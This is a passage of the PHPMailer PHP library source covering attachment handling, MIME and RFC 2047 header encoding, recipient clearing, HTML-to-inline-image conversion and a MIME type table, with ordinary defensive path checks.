HTTP client.\n * If you need to do that, fetch the resource yourself and pass it in via a local file or string.\n * @param string $path Path to the attachment.\n * @param string $name Overrides the attachment name.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File extension (MIME) type.\n * @param string $disposition Disposition to use\n * @throws phpmailerException\n * @return boolean\n *\/\n public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')\n {\n try {\n if (!self::isPermittedPath($path) or !@is_file($path)) {\n throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);\n }\n\n \/\/ If a MIME type is not specified, try to work it out from the file name\n if ($type == '') {\n $type = self::filenameToType($path);\n }\n\n $filename = basename($path);\n if ($name == '') {\n $name = $filename;\n }\n\n $this->attachment[] = array(\n 0 => $path,\n 1 => $filename,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => false, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => 0\n );\n\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n $this->edebug($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n return true;\n }\n\n \/**\n * Return the array of attachments.\n * @return array\n *\/\n public function getAttachments()\n {\n return $this->attachment;\n }\n\n \/**\n * Attach all file, string, and binary attachments to the message.\n * Returns an empty string on failure.\n * @access protected\n * @param string $disposition_type\n * @param string $boundary\n * @return string\n *\/\n protected function attachAll($disposition_type, $boundary)\n {\n \/\/ Return text of body\n $mime = array();\n $cidUniq = array();\n $incl = array();\n\n \/\/ Add all attachments\n foreach ($this->attachment as $attachment) {\n \/\/ Check if it is a valid disposition_filter\n if ($attachment[6] == $disposition_type) {\n \/\/ Check for string attachment\n $string = '';\n $path = '';\n $bString = $attachment[5];\n if ($bString) {\n $string = $attachment[0];\n } else {\n $path = $attachment[0];\n }\n\n $inclhash = md5(serialize($attachment));\n if (in_array($inclhash, $incl)) {\n continue;\n }\n $incl[] = $inclhash;\n $name = $attachment[2];\n $encoding = $attachment[3];\n $type = $attachment[4];\n $disposition = $attachment[6];\n $cid = $attachment[7];\n if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {\n continue;\n }\n $cidUniq[$cid] = true;\n\n $mime[] = sprintf('--%s%s', $boundary, $this->LE);\n \/\/Only include a filename property if we have one\n if (!empty($name)) {\n $mime[] = sprintf(\n 'Content-Type: %s; name=\"%s\"%s',\n $type,\n $this->encodeHeader($this->secureHeader($name)),\n $this->LE\n );\n } else {\n $mime[] = sprintf(\n 'Content-Type: %s%s',\n $type,\n $this->LE\n );\n }\n \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n if ($encoding != '7bit') {\n $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);\n }\n\n if ($disposition == 'inline') {\n $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);\n }\n\n \/\/ If a filename contains any of these chars, it should be quoted,\n \/\/ but not otherwise: RFC2183 & RFC2045 5.1\n \/\/ Fixes a warning in IETF's msglint MIME checker\n \/\/ Allow for bypassing the Content-Disposition header totally\n if (!(empty($disposition))) {\n $encoded_name = $this->encodeHeader($this->secureHeader($name));\n if (preg_match('\/[ \\(\\)<>@,;:\\\\\"\\\/\\[\\]\\?=]\/', $encoded_name)) {\n $mime[] = sprintf(\n 'Content-Disposition: %s; filename=\"%s\"%s',\n $disposition,\n $encoded_name,\n $this->LE . $this->LE\n );\n } else {\n if (!empty($encoded_name)) {\n $mime[] = sprintf(\n 'Content-Disposition: %s; filename=%s%s',\n $disposition,\n $encoded_name,\n $this->LE . $this->LE\n );\n } else {\n $mime[] = sprintf(\n 'Content-Disposition: %s%s',\n $disposition,\n $this->LE . $this->LE\n );\n }\n }\n } else {\n $mime[] = $this->LE;\n }\n\n \/\/ Encode as string attachment\n if ($bString) {\n $mime[] = $this->encodeString($string, $encoding);\n if ($this->isError()) {\n return '';\n }\n $mime[] = $this->LE . $this->LE;\n } else {\n $mime[] = $this->encodeFile($path, $encoding);\n if ($this->isError()) {\n return '';\n }\n $mime[] = $this->LE . $this->LE;\n }\n }\n }\n\n $mime[] = sprintf('--%s--%s', $boundary, $this->LE);\n\n return implode('', $mime);\n }\n\n \/**\n * Encode a file attachment in requested format.\n * Returns an empty string on failure.\n * @param string $path The full path to the file\n * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'\n * @throws phpmailerException\n * @access protected\n * @return string\n *\/\n protected function encodeFile($path, $encoding = 'base64')\n {\n try {\n if (!self::isPermittedPath($path) or !file_exists($path)) {\n throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);\n }\n $magic_quotes = false;\n if( version_compare(PHP_VERSION, '7.4.0', '<') ) {\n $magic_quotes = get_magic_quotes_runtime();\n }\n if ($magic_quotes) {\n if (version_compare(PHP_VERSION, '5.3.0', '<')) {\n set_magic_quotes_runtime(false);\n } else {\n \/\/Doesn't exist in PHP 5.4, but we don't need to check because\n \/\/get_magic_quotes_runtime always returns false in 5.4+\n \/\/so it will never get here\n ini_set('magic_quotes_runtime', false);\n }\n }\n $file_buffer = file_get_contents($path);\n $file_buffer = $this->encodeString($file_buffer, $encoding);\n if ($magic_quotes) {\n if (version_compare(PHP_VERSION, '5.3.0', '<')) {\n set_magic_quotes_runtime($magic_quotes);\n } else {\n ini_set('magic_quotes_runtime', $magic_quotes);\n }\n }\n return $file_buffer;\n } catch (Exception $exc) {\n $this->setError($exc->getMessage());\n return '';\n }\n }\n\n \/**\n * Encode a string in requested format.\n * Returns an empty string on failure.\n * @param string $str The text to encode\n * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'\n * @access public\n * @return string\n *\/\n public function encodeString($str, $encoding = 'base64')\n {\n $encoded = '';\n switch (strtolower($encoding)) {\n case 'base64':\n $encoded = chunk_split(base64_encode($str), 76, $this->LE);\n break;\n case '7bit':\n case '8bit':\n $encoded = $this->fixEOL($str);\n \/\/ Make sure it ends with a line break\n if (substr($encoded, -(strlen($this->LE))) != $this->LE) {\n $encoded .= $this->LE;\n }\n break;\n case 'binary':\n $encoded = $str;\n break;\n case 'quoted-printable':\n $encoded = $this->encodeQP($str);\n break;\n default:\n $this->setError($this->lang('encoding') . $encoding);\n break;\n }\n return $encoded;\n }\n\n \/**\n * Encode a header string optimally.\n * Picks shortest of Q, B, quoted-printable or none.\n * @access public\n * @param string $str\n * @param string $position\n * @return string\n *\/\n public function encodeHeader($str, $position = 'text')\n {\n $matchcount = 0;\n switch (strtolower($position)) {\n case 'phrase':\n if (!preg_match('\/[\\200-\\377]\/', $str)) {\n \/\/ Can't use addslashes as we don't know the value of magic_quotes_sybase\n $encoded = addcslashes($str, \"\\0..\\37\\177\\\\\\\"\");\n if (($str == $encoded) && !preg_match('\/[^A-Za-z0-9!#$%&\\'*+\\\/=?^_`{|}~ -]\/', $str)) {\n return ($encoded);\n } else {\n return (\"\\\"$encoded\\\"\");\n }\n }\n $matchcount = preg_match_all('\/[^\\040\\041\\043-\\133\\135-\\176]\/', $str, $matches);\n break;\n \/** @noinspection PhpMissingBreakStatementInspection *\/\n case 'comment':\n $matchcount = preg_match_all('\/[()\"]\/', $str, $matches);\n \/\/ Intentional fall-through\n case 'text':\n default:\n $matchcount += preg_match_all('\/[\\000-\\010\\013\\014\\016-\\037\\177-\\377]\/', $str, $matches);\n break;\n }\n\n \/\/There are no chars that need encoding\n if ($matchcount == 0) {\n return ($str);\n }\n\n $maxlen = 75 - 7 - strlen($this->CharSet);\n \/\/ Try to select the encoding which should produce the shortest output\n if ($matchcount > strlen($str) \/ 3) {\n \/\/ More than a third of the content will need encoding, so B encoding will be most efficient\n $encoding = 'B';\n if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {\n \/\/ Use a custom function which correctly encodes and wraps long\n \/\/ multibyte strings without breaking lines within a character\n $encoded = $this->base64EncodeWrapMB($str, \"\\n\");\n } else {\n $encoded = base64_encode($str);\n $maxlen -= $maxlen % 4;\n $encoded = trim(chunk_split($encoded, $maxlen, \"\\n\"));\n }\n } else {\n $encoding = 'Q';\n $encoded = $this->encodeQ($str, $position);\n $encoded = $this->wrapText($encoded, $maxlen, true);\n $encoded = str_replace('=' . self::CRLF, \"\\n\", trim($encoded));\n }\n\n $encoded = preg_replace('\/^(.*)$\/m', ' =?' . $this->CharSet . \"?$encoding?\\\\1?=\", $encoded);\n $encoded = trim(str_replace(\"\\n\", $this->LE, $encoded));\n\n return $encoded;\n }\n\n \/**\n * Check if a string contains multi-byte characters.\n * @access public\n * @param string $str multi-byte text to wrap encode\n * @return boolean\n *\/\n public function hasMultiBytes($str)\n {\n if (function_exists('mb_strlen')) {\n return (strlen($str) > mb_strlen($str, $this->CharSet));\n } else { \/\/ Assume no multibytes (we can't handle without mbstring functions anyway)\n return false;\n }\n }\n\n \/**\n * Does a string contain any 8-bit chars (in any charset)?\n * @param string $text\n * @return boolean\n *\/\n public function has8bitChars($text)\n {\n return (boolean)preg_match('\/[\\x80-\\xFF]\/', $text);\n }\n\n \/**\n * Encode and wrap long multibyte strings for mail headers\n * without breaking lines within a character.\n * Adapted from a function by paravoid\n * @link http:\/\/www.php.net\/manual\/en\/function.mb-encode-mimeheader.php#60283\n * @access public\n * @param string $str multi-byte text to wrap encode\n * @param string $linebreak string to use as linefeed\/end-of-line\n * @return string\n *\/\n public function base64EncodeWrapMB($str, $linebreak = null)\n {\n $start = '=?' . $this->CharSet . '?B?';\n $end = '?=';\n $encoded = '';\n if ($linebreak === null) {\n $linebreak = $this->LE;\n }\n\n $mb_length = mb_strlen($str, $this->CharSet);\n \/\/ Each line must have length <= 75, including $start and $end\n $length = 75 - strlen($start) - strlen($end);\n \/\/ Average multi-byte ratio\n $ratio = $mb_length \/ strlen($str);\n \/\/ Base64 has a 4:3 ratio\n $avgLength = floor($length * $ratio * .75);\n\n for ($i = 0; $i < $mb_length; $i += $offset) {\n $lookBack = 0;\n do {\n $offset = $avgLength - $lookBack;\n $chunk = mb_substr($str, $i, $offset, $this->CharSet);\n $chunk = base64_encode($chunk);\n $lookBack++;\n } while (strlen($chunk) > $length);\n $encoded .= $chunk . $linebreak;\n }\n\n \/\/ Chomp the last linefeed\n $encoded = substr($encoded, 0, -strlen($linebreak));\n return $encoded;\n }\n\n \/**\n * Encode a string in quoted-printable format.\n * According to RFC2045 section 6.7.\n * @access public\n * @param string $string The text to encode\n * @param integer $line_max Number of chars allowed on a line before wrapping\n * @return string\n * @link http:\/\/www.php.net\/manual\/en\/function.quoted-printable-decode.php#89417 Adapted from this comment\n *\/\n public function encodeQP($string, $line_max = 76)\n {\n \/\/ Use native function if it's available (>= PHP5.3)\n if (function_exists('quoted_printable_encode')) {\n return quoted_printable_encode($string);\n }\n \/\/ Fall back to a pure PHP implementation\n $string = str_replace(\n array('%20', '%0D%0A.', '%0D%0A', '%'),\n array(' ', \"\\r\\n=2E\", \"\\r\\n\", '='),\n rawurlencode($string)\n );\n return preg_replace('\/[^\\r\\n]{' . ($line_max - 3) . '}[^=\\r\\n]{2}\/', \"$0=\\r\\n\", $string);\n }\n\n \/**\n * Backward compatibility wrapper for an old QP encoding function that was removed.\n * @see PHPMailer::encodeQP()\n * @access public\n * @param string $string\n * @param integer $line_max\n * @param boolean $space_conv\n * @return string\n * @deprecated Use encodeQP instead.\n *\/\n public function encodeQPphp(\n $string,\n $line_max = 76,\n \/** @noinspection PhpUnusedParameterInspection *\/ $space_conv = false\n ) {\n return $this->encodeQP($string, $line_max);\n }\n\n \/**\n * Encode a string using Q encoding.\n * @link http:\/\/tools.ietf.org\/html\/rfc2047\n * @param string $str the text to encode\n * @param string $position Where the text is going to be used, see the RFC for what that means\n * @access public\n * @return string\n *\/\n public function encodeQ($str, $position = 'text')\n {\n \/\/ There should not be any EOL in the string\n $pattern = '';\n $encoded = str_replace(array(\"\\r\", \"\\n\"), '', $str);\n switch (strtolower($position)) {\n case 'phrase':\n \/\/ RFC 2047 section 5.3\n $pattern = '^A-Za-z0-9!*+\\\/ -';\n break;\n \/** @noinspection PhpMissingBreakStatementInspection *\/\n case 'comment':\n \/\/ RFC 2047 section 5.2\n $pattern = '\\(\\)\"';\n \/\/ intentional fall-through\n \/\/ for this reason we build the $pattern without including delimiters and []\n case 'text':\n default:\n \/\/ RFC 2047 section 5.1\n \/\/ Replace every high ascii, control, =, ? and _ characters\n $pattern = '\\000-\\011\\013\\014\\016-\\037\\075\\077\\137\\177-\\377' . $pattern;\n break;\n }\n $matches = array();\n if (preg_match_all(\"\/[{$pattern}]\/\", $encoded, $matches)) {\n \/\/ If the string contains an '=', make sure it's the first thing we replace\n \/\/ so as to avoid double-encoding\n $eqkey = array_search('=', $matches[0]);\n if (false !== $eqkey) {\n unset($matches[0][$eqkey]);\n array_unshift($matches[0], '=');\n }\n foreach (array_unique($matches[0]) as $char) {\n $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);\n }\n }\n \/\/ Replace every spaces to _ (more readable than =20)\n return str_replace(' ', '_', $encoded);\n }\n\n \/**\n * Add a string or binary attachment (non-filesystem).\n * This method can be used to attach ascii or binary data,\n * such as a BLOB record from a database.\n * @param string $string String attachment data.\n * @param string $filename Name of the attachment.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File extension (MIME) type.\n * @param string $disposition Disposition to use\n * @return void\n *\/\n public function addStringAttachment(\n $string,\n $filename,\n $encoding = 'base64',\n $type = '',\n $disposition = 'attachment'\n ) {\n \/\/ If a MIME type is not specified, try to work it out from the file name\n if ($type == '') {\n $type = self::filenameToType($filename);\n }\n \/\/ Append to $attachment array\n $this->attachment[] = array(\n 0 => $string,\n 1 => $filename,\n 2 => basename($filename),\n 3 => $encoding,\n 4 => $type,\n 5 => true, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => 0\n );\n }\n\n \/**\n * Add an embedded (inline) attachment from a file.\n * This can include images, sounds, and just about any other document type.\n * These differ from 'regular' attachments in that they are intended to be\n * displayed inline with the message, not just attached for download.\n * This is used in HTML messages that embed the images\n * the HTML refers to using the $cid value.\n * Never use a user-supplied path to a file!\n * @param string $path Path to the attachment.\n * @param string $cid Content ID of the attachment; Use this to reference\n * the content when using an embedded image in HTML.\n * @param string $name Overrides the attachment name.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File MIME type.\n * @param string $disposition Disposition to use\n * @return boolean True on successfully adding an attachment\n *\/\n public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')\n {\n if (!self::isPermittedPath($path) or !@is_file($path)) {\n $this->setError($this->lang('file_access') . $path);\n return false;\n }\n\n \/\/ If a MIME type is not specified, try to work it out from the file name\n if ($type == '') {\n $type = self::filenameToType($path);\n }\n\n $filename = basename($path);\n if ($name == '') {\n $name = $filename;\n }\n\n \/\/ Append to $attachment array\n $this->attachment[] = array(\n 0 => $path,\n 1 => $filename,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => false, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => $cid\n );\n return true;\n }\n\n \/**\n * Add an embedded stringified attachment.\n * This can include images, sounds, and just about any other document type.\n * Be sure to set the $type to an image type for images:\n * JPEG images use 'image\/jpeg', GIF uses 'image\/gif', PNG uses 'image\/png'.\n * @param string $string The attachment binary data.\n * @param string $cid Content ID of the attachment; Use this to reference\n * the content when using an embedded image in HTML.\n * @param string $name\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type MIME type.\n * @param string $disposition Disposition to use\n * @return boolean True on successfully adding an attachment\n *\/\n public function addStringEmbeddedImage(\n $string,\n $cid,\n $name = '',\n $encoding = 'base64',\n $type = '',\n $disposition = 'inline'\n ) {\n \/\/ If a MIME type is not specified, try to work it out from the name\n if ($type == '' and !empty($name)) {\n $type = self::filenameToType($name);\n }\n\n \/\/ Append to $attachment array\n $this->attachment[] = array(\n 0 => $string,\n 1 => $name,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => true, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => $cid\n );\n return true;\n }\n\n \/**\n * Check if an inline attachment is present.\n * @access public\n * @return boolean\n *\/\n public function inlineImageExists()\n {\n foreach ($this->attachment as $attachment) {\n if ($attachment[6] == 'inline') {\n return true;\n }\n }\n return false;\n }\n\n \/**\n * Check if an attachment (non-inline) is present.\n * @return boolean\n *\/\n public function attachmentExists()\n {\n foreach ($this->attachment as $attachment) {\n if ($attachment[6] == 'attachment') {\n return true;\n }\n }\n return false;\n }\n\n \/**\n * Check if this message has an alternative body set.\n * @return boolean\n *\/\n public function alternativeExists()\n {\n return !empty($this->AltBody);\n }\n\n \/**\n * Clear queued addresses of given kind.\n * @access protected\n * @param string $kind 'to', 'cc', or 'bcc'\n * @return void\n *\/\n public function clearQueuedAddresses($kind)\n {\n $RecipientsQueue = $this->RecipientsQueue;\n foreach ($RecipientsQueue as $address => $params) {\n if ($params[0] == $kind) {\n unset($this->RecipientsQueue[$address]);\n }\n }\n }\n\n \/**\n * Clear all To recipients.\n * @return void\n *\/\n public function clearAddresses()\n {\n foreach ($this->to as $to) {\n unset($this->all_recipients[strtolower($to[0])]);\n }\n $this->to = array();\n $this->clearQueuedAddresses('to');\n }\n\n \/**\n * Clear all CC recipients.\n * @return void\n *\/\n public function clearCCs()\n {\n foreach ($this->cc as $cc) {\n unset($this->all_recipients[strtolower($cc[0])]);\n }\n $this->cc = array();\n $this->clearQueuedAddresses('cc');\n }\n\n \/**\n * Clear all BCC recipients.\n * @return void\n *\/\n public function clearBCCs()\n {\n foreach ($this->bcc as $bcc) {\n unset($this->all_recipients[strtolower($bcc[0])]);\n }\n $this->bcc = array();\n $this->clearQueuedAddresses('bcc');\n }\n\n \/**\n * Clear all ReplyTo recipients.\n * @return void\n *\/\n public function clearReplyTos()\n {\n $this->ReplyTo = array();\n $this->ReplyToQueue = array();\n }\n\n \/**\n * Clear all recipient types.\n * @return void\n *\/\n public function clearAllRecipients()\n {\n $this->to = array();\n $this->cc = array();\n $this->bcc = array();\n $this->all_recipients = array();\n $this->RecipientsQueue = array();\n }\n\n \/**\n * Clear all filesystem, string, and binary attachments.\n * @return void\n *\/\n public function clearAttachments()\n {\n $this->attachment = array();\n }\n\n \/**\n * Clear all custom headers.\n * @return void\n *\/\n public function clearCustomHeaders()\n {\n $this->CustomHeader = array();\n }\n\n \/**\n * Add an error message to the error container.\n * @access protected\n * @param string $msg\n * @return void\n *\/\n protected function setError($msg)\n {\n $this->error_count++;\n if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {\n $lasterror = $this->smtp->getError();\n if (!empty($lasterror['error'])) {\n $msg .= $this->lang('smtp_error') . $lasterror['error'];\n if (!empty($lasterror['detail'])) {\n $msg .= ' Detail: '. $lasterror['detail'];\n }\n if (!empty($lasterror['smtp_code'])) {\n $msg .= ' SMTP code: ' . $lasterror['smtp_code'];\n }\n if (!empty($lasterror['smtp_code_ex'])) {\n $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];\n }\n }\n }\n $this->ErrorInfo = $msg;\n }\n\n \/**\n * Return an RFC 822 formatted date.\n * @access public\n * @return string\n * @static\n *\/\n public static function rfcDate()\n {\n \/\/ Set the time zone to whatever the default is to avoid 500 errors\n \/\/ Will default to UTC if it's not set properly in php.ini\n date_default_timezone_set(@date_default_timezone_get());\n return date('D, j M Y H:i:s O');\n }\n\n \/**\n * Get the server hostname.\n * Returns 'localhost.localdomain' if unknown.\n * @access protected\n * @return string\n *\/\n protected function serverHostname()\n {\n $result = 'localhost.localdomain';\n if (!empty($this->Hostname)) {\n $result = $this->Hostname;\n } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {\n $result = $_SERVER['SERVER_NAME'];\n } elseif (function_exists('gethostname') && gethostname() !== false) {\n $result = gethostname();\n } elseif (php_uname('n') !== false) {\n $result = php_uname('n');\n }\n return $result;\n }\n\n \/**\n * Get an error message in the current language.\n * @access protected\n * @param string $key\n * @return string\n *\/\n protected function lang($key)\n {\n if (count($this->language) < 1) {\n $this->setLanguage('en'); \/\/ set the default language\n }\n\n if (array_key_exists($key, $this->language)) {\n if ($key == 'smtp_connect_failed') {\n \/\/Include a link to troubleshooting docs on SMTP connection failure\n \/\/this is by far the biggest cause of support questions\n \/\/but it's usually not PHPMailer's fault.\n return $this->language[$key] . ' https:\/\/github.com\/PHPMailer\/PHPMailer\/wiki\/Troubleshooting';\n }\n return $this->language[$key];\n } else {\n \/\/Return the key as a fallback\n return $key;\n }\n }\n\n \/**\n * Check if an error occurred.\n * @access public\n * @return boolean True if an error did occur.\n *\/\n public function isError()\n {\n return ($this->error_count > 0);\n }\n\n \/**\n * Ensure consistent line endings in a string.\n * Changes every end of line from CRLF, CR or LF to $this->LE.\n * @access public\n * @param string $str String to fixEOL\n * @return string\n *\/\n public function fixEOL($str)\n {\n \/\/ Normalise to \\n\n $nstr = str_replace(array(\"\\r\\n\", \"\\r\"), \"\\n\", $str);\n \/\/ Now convert LE as needed\n if ($this->LE !== \"\\n\") {\n $nstr = str_replace(\"\\n\", $this->LE, $nstr);\n }\n return $nstr;\n }\n\n \/**\n * Add a custom header.\n * $name value can be overloaded to contain\n * both header name and value (name:value)\n * @access public\n * @param string $name Custom header name\n * @param string $value Header value\n * @return void\n *\/\n public function addCustomHeader($name, $value = null)\n {\n if ($value === null) {\n \/\/ Value passed in as name:value\n $this->CustomHeader[] = explode(':', $name, 2);\n } else {\n $this->CustomHeader[] = array($name, $value);\n }\n }\n\n \/**\n * Returns all custom headers.\n * @return array\n *\/\n public function getCustomHeaders()\n {\n return $this->CustomHeader;\n }\n\n \/**\n * Create a message body from an HTML string.\n * Automatically inlines images and creates a plain-text version by converting the HTML,\n * overwriting any existing values in Body and AltBody.\n * Do not source $message content from user input!\n * $basedir is prepended when handling relative URLs, e.g. <img src=\"\/images\/a.png\"> and must not be empty\n * will look for an image file in $basedir\/images\/a.png and convert it to inline.\n * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)\n * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.\n * @access public\n * @param string $message HTML message string\n * @param string $basedir Absolute path to a base directory to prepend to relative paths to images\n * @param boolean|callable $advanced Whether to use the internal HTML to text converter\n * or your own custom converter @see PHPMailer::html2text()\n * @return string $message The transformed message Body\n *\/\n public function msgHTML($message, $basedir = '', $advanced = false)\n {\n preg_match_all('\/(src|background)=[\"\\'](.*)[\"\\']\/Ui', $message, $images);\n if (array_key_exists(2, $images)) {\n if (strlen($basedir) > 1 && substr($basedir, -1) != '\/') {\n \/\/ Ensure $basedir has a trailing \/\n $basedir .= '\/';\n }\n foreach ($images[2] as $imgindex => $url) {\n \/\/ Convert data URIs into embedded images\n if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {\n $data = substr($url, strpos($url, ','));\n if ($match[2]) {\n $data = base64_decode($data);\n } else {\n $data = rawurldecode($data);\n }\n $cid = md5($url) . '@phpmailer.0'; \/\/ RFC2392 S 2\n if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {\n $message = str_replace(\n $images[0][$imgindex],\n $images[1][$imgindex] . '=\"cid:' . $cid . '\"',\n $message\n );\n }\n continue;\n }\n if (\n \/\/ Only process relative URLs if a basedir is provided (i.e. no absolute local paths)\n !empty($basedir)\n \/\/ Ignore URLs containing parent dir traversal (..)\n && (strpos($url, '..') === false)\n \/\/ Do not change urls that are already inline images\n && substr($url, 0, 4) !== 'cid:'\n \/\/ Do not change absolute URLs, including anonymous protocol\n && !preg_match('#^[a-z][a-z0-9+.-]*:?\/\/#i', $url)\n ) {\n $filename = basename($url);\n $directory = dirname($url);\n if ($directory == '.') {\n $directory = '';\n }\n $cid = md5($url) . '@phpmailer.0'; \/\/ RFC2392 S 2\n if (strlen($directory) > 1 && substr($directory, -1) != '\/') {\n $directory .= '\/';\n }\n if ($this->addEmbeddedImage(\n $basedir . $directory . $filename,\n $cid,\n $filename,\n 'base64',\n self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))\n )\n ) {\n $message = preg_replace(\n '\/' . $images[1][$imgindex] . '=[\"\\']' . preg_quote($url, '\/') . '[\"\\']\/Ui',\n $images[1][$imgindex] . '=\"cid:' . $cid . '\"',\n $message\n );\n }\n }\n }\n }\n $this->isHTML(true);\n \/\/ Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better\n $this->Body = $this->normalizeBreaks($message);\n $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));\n if (!$this->alternativeExists()) {\n $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .\n self::CRLF . self::CRLF;\n }\n return $this->Body;\n }\n\n \/**\n * Convert an HTML string into plain text.\n * This is used by msgHTML().\n * Note - older versions of this function used a bundled advanced converter\n * which was been removed for license reasons in #232.\n * Example usage:\n * <code>\n * \/\/ Use default conversion\n * $plain = $mail->html2text($html);\n * \/\/ Use your own custom converter\n * $plain = $mail->html2text($html, function($html) {\n * $converter = new MyHtml2text($html);\n * return $converter->get_text();\n * });\n * <\/code>\n * @param string $html The HTML text to convert\n * @param boolean|callable $advanced Any boolean value to use the internal converter,\n * or provide your own callable for custom conversion.\n * @return string\n *\/\n public function html2text($html, $advanced = false)\n {\n if (is_callable($advanced)) {\n return call_user_func($advanced, $html);\n }\n return html_entity_decode(\n trim(strip_tags(preg_replace('\/<(head|title|style|script)[^>]*>.*?<\\\/\\\\1>\/si', '', $html))),\n ENT_QUOTES,\n $this->CharSet\n );\n }\n\n \/**\n * Get the MIME type for a file extension.\n * @param string $ext File extension\n * @access public\n * @return string MIME type of file.\n * @static\n *\/\n public static function _mime_types($ext = '')\n {\n $mimes = array(\n 'xl' => 'application\/excel',\n 'js' => 'application\/javascript',\n 'hqx' => 'application\/mac-binhex40',\n 'cpt' => 'application\/mac-compactpro',\n 'bin' => 'application\/macbinary',\n 'doc' => 'application\/msword',\n 'word' => 'application\/msword',\n 'xlsx' => 'application\/vnd.openxmlformats-officedocument.spreadsheetml.sheet',\n 'xltx' => 'application\/vnd.openxmlformats-officedocument.spreadsheetml.template',\n 'potx' => 'application\/vnd.openxmlformats-officedocument.presentationml.template',\n 'ppsx' => 'application\/vnd.openxmlformats-officedocument.presentationml.slideshow',\n 'pptx' => 'application\/vnd.openxmlformats-officedocument.presentationml.presentation',\n 'sldx' => 'application\/vnd.openxmlformats-officedocument.presentationml.slide',\n 'docx' => 'application\/vnd.openxmlformats-officedocument.wordprocessingml.document',\n 'dotx' => 'application\/vnd.openxmlformats-officedocument.wordprocessingml.template',\n 'xlam' => 'application\/vnd.ms-excel.addin.macroEnabled.12',\n 'xlsb' => 'application\/vnd.ms-excel.sheet.binary.macroEnabled.12',\n 'class' => 'application\/octet-stream',\n 'dll' => 'application\/octet-stream',\n 'dms' => 'application\/octet-stream',\n 'exe' => 'application\/octet-stream',\n 'lha' => 'application\/octet-stream',\n 'lzh' => 'application\/octet-stream',\n 'psd' => 'application\/octet-stream',\n 'sea' => 'application\/octet-stream',\n 'so' => 'application\/octet-stream',\n 'oda' => 'application\/oda',\n 'pdf' => 'application\/pdf',\n 'ai' => 'application\/postscript',\n 'eps' => 'application\/postscript',\n 'ps' => 'application\/postscript',\n 'smi' => 'application\/smil',\n 'smil' => 'application\/smil',\n 'mif' => 'application\/vnd.mif',\n 'xls' => 'application\/vnd.ms-excel',\n 'ppt' => 'application\/vnd.ms-powerpoint',\n 'wbxml' => 'application\/vnd.wap.wbxml',\n 'wmlc' => 'application\/vnd.wap.wmlc',\n 'dcr' => 'application\/x-director',\n 'dir' => 'application\/x-director',\n 'dxr' => 'application\/x-director',\n 'dvi' => 'application\/x-dvi',\n 'gtar' => 'application\/x-gtar',\n 'php3' => 'application\/x-httpd-php',\n 'php4' => 'application\/x-httpd-php',\n 'php' => 'application\/x-httpd-php',\n 'phtml' => 'application\/x-httpd-php',\n 'phps' => 'application\/x-httpd-php-source',\n 'swf' => 'application\/x-shockwave-flash',\n 'sit' => 'application\/x-stuffit',\n 'tar' => 'application\/x-tar',\n 'tgz' => 'application\/x-tar',\n 'xht' => 'application\/xhtml+xml',\n 'xhtml' => 'application\/xhtml+xml',\n 'zip' => 'application\/zip',\n 'mid' => 'audio\/midi',\n 'midi' => 'audio\/midi',\n 'mp2' => 'audio\/mpeg',\n 'mp3' => 'audio\/mpeg',\n 'mpga' => 'audio\/mpeg',\n 'aif' => 'audio\/x-aiff',\n 'aifc' => 'audio\/x-aiff',\n 'aiff' => 'audio\/x-aiff',\n 'ram' => 'audio\/x-pn-realaudio',\n 'rm' => 'audio\/x-pn-realaudio',\n 'rpm' => 'audio\/x-pn-realaudio-plugin',\n 'ra' => 'audio\/x-realaudio',\n 'wav' => 'audio\/x-wav',\n 'bmp' => 'image\/bmp',\n 'gif' => 'image\/gif',\n 'jpeg' => 'image\/jpeg',\n 'jpe' => 'image\/jpeg',\n 'jpg' => 'image\/jpeg',\n 'png' => 'image\/png',\n 'tiff' => 'image\/tiff',\n 'tif' => 'image\/tiff',\n 'eml' => 'message\/rfc822',\n 'css' => 'text\/css',\n 'html' => 'text\/html',\n 'htm' => 'text\/html',\n 'shtml' => 'text\/html',\n 'log' => 'text\/plain',\n 'text' => 'text\/plain',\n 'txt' => 'text\/plain',\n 'rtx' => 'text\/richtext',\n 'rtf' => 'text\/rtf',\n 'vcf' => 'text\/vcard',\n 'vcard' => 'text\/vcard',\n 'xml' => 'text\/xml',\n 'xsl' => 'text\/xml',\n 'mpeg' => 'video\/mpeg',\n 'mpe' => 'video\/mpeg',\n 'mpg' => 'video\/mpeg',\n 'mov' => 'video\/quicktime',\n 